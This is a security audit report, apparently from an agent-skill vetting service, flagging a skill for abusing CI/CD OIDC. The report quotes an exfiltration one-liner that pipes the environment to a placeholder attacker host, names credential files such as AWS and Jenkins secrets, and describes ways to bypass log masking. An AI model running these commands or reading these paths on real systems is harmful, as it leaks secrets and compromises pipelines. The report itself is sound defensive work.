abusing-ci-cd-oidc

Warn

Audited by Gen Agent Trust Hub on Jul 30, 2026

Risk Level: MEDIUMDATA_EXFILTRATIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFEPROMPT_INJECTION
Full Analysis
  • [DATA_EXFILTRATION]: The skill provides commands to exfiltrate the entire process environment, which often contains masked secrets and sensitive tokens, to an external URL using patterns like env | base64 | curl -d @- https://attacker.example/exfil. It also demonstrates methods to bypass log masking by encoding secrets in base64 or using character-by-character extraction.
  • [CREDENTIALS_UNSAFE]: Instructions guide the extraction of hardcoded and stored credentials from sensitive file paths such as ~/.aws/credentials, .env files, .pem keys, and Jenkins-specific configuration files like /var/lib/jenkins/credentials.xml and /var/lib/jenkins/secrets/master.key.
  • [COMMAND_EXECUTION]: The skill uses extensive shell commands involving curl, rg, aws, gcloud, and az to interact with remote APIs and cloud infrastructure. These commands often interpolate variables (e.g., OWNER, REPO, APP_OBJECT_ID, PROVIDER) which could be subject to command injection if populated from untrusted sources.
  • [PROMPT_INJECTION]: The skill documents techniques for Indirect Prompt Injection, specifically targeting CI/CD pipelines. It identifies a vulnerability surface where untrusted data from pull requests, issues, or comments is interpolated into workflow run blocks without sanitization (e.g., github.event.issue...).
  • Ingestion points: GitHub Actions workflow files (.github/workflows/) processing event data.
  • Boundary markers: None observed in the provided examples.
  • Capability inventory: Shell execution via run blocks in CI environments with access to GITHUB_TOKEN and repository secrets.
  • Sanitization: The skill highlights the lack of sanitization as the primary exploit vector.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Jul 30, 2026, 01:16 AM
Security Audit — agent-trust-hub — abusing-ci-cd-oidc